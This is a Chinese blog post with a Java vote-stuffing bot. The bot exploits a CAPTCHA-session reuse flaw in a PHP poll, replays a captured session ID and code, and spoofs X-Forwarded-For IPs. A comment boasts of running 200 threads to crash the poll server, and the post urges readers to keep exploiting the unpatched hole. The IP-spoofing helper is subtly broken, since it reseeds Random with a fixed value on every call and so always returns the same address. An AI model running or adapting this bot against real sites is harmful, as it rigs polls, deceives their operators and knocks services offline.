好多刷票的,服务器宕机好几次,后来投票程序升级了,增加了图片验证码功能,验证码中有4个英文数字组合,再后来升级为中文验证码。上次的js投票器,写的有点随意了,这次改java版的。
先来分析下验证码是如何工作的
第一步,request到服务器端,server生成验证码,置入session
第二部,跳转到客户端(一般是浏览器),此时生成图片,图片中的内容就是session 中的验证码
第三步,用户将 数据 + 肉眼看到的图片上的验证码 post/get到服务器
第四步,服务器端,验证post/get来的验证码,和session 中的验证码是否相同,相同则继续执行业务然后跳转到投票页即第一步生成新的验证码;不同则跳转到客户端,告诉客户端:你搞错了,然后跳转到第一步生成新的验证码
如果客户端是浏览器,验证码是正常工作的。但是,俺们是用程序搞request,执行完第四步之后,不会跳转到第一步,验证码就不正常工作了。如果程序写的严谨,比如:”第四步中校验验证码过后,生成新的验证码置入session中“,而不是通过让客户端重新发起第一步的request的方式生成新的验证码,则验证码还是可以正常工作的。
只需要在浏览器中,走到第二步,获取到验证码,然后用程序提交数据和验证码,依然可以
上干货,fuck goods
import java.io.IOException;
import java.io.UnsupportedEncodingException;
import java.net.URLEncoder;
import java.util.Random;
import org.apache.commons.httpclient.HttpClient;
import org.apache.commons.httpclient.HttpException;
import org.apache.commons.httpclient.NameValuePair;
import org.apache.commons.httpclient.methods.PostMethod;
public class TP extends Thread {
// 验证码
protected static String AUTHNUM_SESSION = "向变关点育";
// 从浏览器中获取到的session信息,服务器端会认为本java程序提交的数据,和刚才浏览器是同一个会话session
protected static String SESSION_ID = "PHPSESSID=uouddcugmv4jnpep1sv3vlkr64";
// 投票间隔
protected static long INTERVAL_TIME = 100;
// 投票ID
protected static String ID = "77";
// 投票总数
protected static int TP_MAX = 10000;
// 投票地址
protected static String VOTE = "http://www.xxx.com/xly/tp/tp_ok.php?id="
+ ID;
protected static int COUTER = 0;
/**
* @param args
* @throws IOException
* @throws HttpException
* @throws InterruptedException
*/
public static void main(String[] args) throws HttpException, IOException,
InterruptedException {
TP tp = new TP();
tp.start();
/**
* 用程序刷票刷了一会,发现服务器端凡是针对ID是77的投票,全都不计数,连正常投票都不计数了,郁闷啊
* 不带这么玩的,别人都在刷票,唯独俺不能刷,没办法,开200线程,换个ID给别人投,让服务器busy,这样都不能刷票了
* 这才公平,结果服务器不间断的宕机、宕机
*
*/
// for(int i =0; i < 200;i++){
// TP tp = new TP();
// tp.start();
// }
}
public void run() {
int counter = 0;
for (;;) {
if (TP_MAX > 0 && counter >= TP_MAX) {
System.out.println("投票完成,共投票:" + counter);
break;
}
try {
vote();
Thread.sleep(INTERVAL_TIME);
} catch (InterruptedException e) {
e.printStackTrace();
} catch (HttpException e) {
e.printStackTrace();
} catch (UnsupportedEncodingException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
}
counter++;
}
}
protected static void vote() throws IOException, HttpException,
UnsupportedEncodingException {
HttpClient client = new HttpClient();
PostMethod post = new PostMethod(VOTE);
/**
* requestHeader中的属性,都是从浏览器种扒下来的
*/
post
.addRequestHeader("Accept",
"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
post.addRequestHeader("Accept-Charset", "GBK,utf-8;q=0.7,*;q=0.3");
post.addRequestHeader("Accept-Encoding", "GBK,utf-8;q=0.7,*;q=0.3");
post.addRequestHeader("Accept-Language", "zh-CN,zh;q=0.8");
post.addRequestHeader("Cache-Control", "max-age=0");
post.addRequestHeader("Connection", "keep-alive");
post.addRequestHeader("Host", "szdydly.ichzh.com");
post.addRequestHeader("Cookie", SESSION_ID);
String fakeIp = rndIp();
// 伪造ip所需要的属性
post.addRequestHeader("X-Forwarded-For", fakeIp);
post.addRequestHeader("Referer", "http://www.xxx.com/xly/tp/index.php");
post
.addRequestHeader(
"User-Agent",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.75 Safari/535.7");
NameValuePair[] nvp = new NameValuePair[3];
// 验证码的utf-8编码
String code = URLEncoder.encode(AUTHNUM_SESSION, "utf-8");
nvp[0] = new NameValuePair("code", code);
nvp[1] = new NameValuePair("imgbtn.x", "33");
nvp[2] = new NameValuePair("imgbtn.y", "16");
post.setRequestBody(nvp);
// 使用POST方式提交数据
int statusCode = client.executeMethod(post);
System.out.println("statusCode : " + statusCode);
if (statusCode == 200) {
if (post.getResponseBody() != null) {
String response1String = new String(post.getResponseBody(),
"utf-8");
System.out.println(response1String);
System.out.println("已投票:" + COUTER++);
}
}
}
/**
* 伪造IP
*
* @return
*/
private static String rndIp() {
return rndInt(255) + "." + rndInt(255) + "." + rndInt(255) + "."
+ rndInt(255);
}
private static int rndInt(int max) {
Random rnd = new Random(47);
return rnd.nextInt(max);
}
}
服务器上验证码漏洞一天没补上,就可以继续刷票,走起。程序中用到commons-httpclient包